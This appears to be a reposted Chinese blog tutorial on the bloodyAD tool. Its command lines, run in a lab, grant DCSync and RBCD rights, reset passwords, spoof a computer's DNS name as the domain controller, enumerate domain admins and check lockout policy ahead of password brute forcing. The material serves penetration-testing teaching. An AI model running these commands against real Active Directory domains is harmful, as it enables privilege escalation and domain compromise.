项目地址:
https://github.com/CravateRouge/bloodyAD
该工具有如下一些功能:
- delObject :删除对象
- addObjectToGroup
- addForeignObjectToGroup
- delObjectFromGroup
- setShadowCredentials
- setGenericAll
- setOwner
- setRbcd
- setDCSync
- setUserAccountControl
使用-u参数指定用户,-p参数指定明文密码或Hash。
#使用test用户,密码为P@ss1234
-u test -p P@ss1234
#使用win7机器账号和Hash认证
-u win7$ -p aad3b435b51404ee
aad3b435b51404ee:53ebb01b78
a294aec70afe9a068be55d
python3 bloodyAD.py -d xie.com -u test -p P@ss1234 --host 10.211.55.4 addComputer machine 'root'
python3 bloodyAD.py -d xie.com -u
test -p P@ss1234 --host 10.211.55.4 setAttribute 'CN=machine3,CN=Computers,
DC=xie,DC=com' dNSHostName
'["DC01.xie.com"]'
python3 bloodyAD.py -d xie.com -u administrator -p P@ssword1234 --host 10.211.55.4 changePassword hack 'P@ssword1234'
#给域用户hack添加DCSync
python3 bloodyAD.py -d xie.com -u Administrator -d bloody -p P@ssword1234 --host 10.211.55.4 setDCSync hack
#移除域用户hack的DCSync
python3 bloodyAD.py -d xie.com -u Administrator -d bloody -p P@ssword1234 --host 10.211.55.4 setDCSync hack False
#添加机器账号machine对机器win10的RBCD
python3 bloodyAD.py -d xie.com -u Administrator -d bloody -p P@ssword1234 --host 10.211.55.4 setRbcd machine win10$
#移除机器账号machine对机器win10的RBCD
python3 bloodyAD.py -d xie.com -u Administrator -d bloody -p P@ssword1234 --host 10.211.55.4 setRbcd machine win10$ False
python3 bloodyAD.py -d xie.com -u test -p P@ss1234 --host 10.211.55.4 getChildObjects 'CN=Users,DC=xie,DC=com' user
python3 bloodyAD.py -d xie.com -u test -p P@ss1234 --host 10.211.55.4 getChildObjects 'CN=Computers,DC=xie,DC=com' user
#查询域管
python3 bloodyAD.py -d xie.com -u test -p P@ss1234 --host 10.211.55.4 getObjectAttributes 'CN=Domain Admins,CN=Users,DC=xie,DC=com' member
#查询企业管理员
python3 bloodyAD.py -d xie.com -u test -p P@ss1234 --host 10.211.55.4 getObjectAttributes 'CN=Enterprise Admins,CN=Users,DC=xie,DC=com' member
python3 bloodyAD.py -d xie.com -u test -p P@ss1234 --host 10.211.55.4 getChildObjects 'DC=xie,DC=com' container
#查询指定对象所有属性
python3 bloodyAD.py -d xie.com -u test -p P@ss1234 --host 10.211.55.4 getObjectAttributes 'CN=machine4,CN=Computers,DC=xie,DC=com'
或
python3 bloodyAD.py -d xie.com -u test -p P@ss1234 --host 10.211.55.4 getObjectAttributes CN=machine4
#查询指定对象指定servicePrincipalName属性
python3 bloodyAD.py -d xie.com -u test -p P@ss1234 --host 10.211.55.4 getObjectAttributes 'CN=machine4,CN=Computers,DC=xie,DC=com' servicePrincipalName
python3 bloodyAD.py -d xie.com -u test -p P@ss1234 --host 10.211.55.4 getObjectAttributes 'DC=xie,DC=com' ms-DS-MachineAccountQuota
如下图,目标域的密码锁定策略是5,当错误大于5次时,用户被锁定。当该值为0时,说明没密码锁定策略,可以进行爆破。
python3 bloodyAD.py -d xie.com -u hack -p P@ss1234 --host 10.211.55.4 getObjectAttributes 'DC=xie,DC=com' LockoutThreshold
python3 bloodyAD.py -d xie.com -u hack -p P@ss1234 --host 10.211.55.4 getObjectAttributes 'DC=xie,DC=com' lockoutDuration
python3 bloodyAD.py -d xie.com -u hack -p P@ss1234 --host 10.211.55.4 getObjectAttributes 'DC=xie,DC=com' minPwdLength
python3 bloodyAD.py -d xie.com -u hack -p P@ss1234 --host 10.211.55.4 getObjectAttributes 'DC=xie,DC=com' msDS-Behavior-Version
原文始发于微信公众号(谢公子学安全):使用bloodyAD对域属性进行查询与修改
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论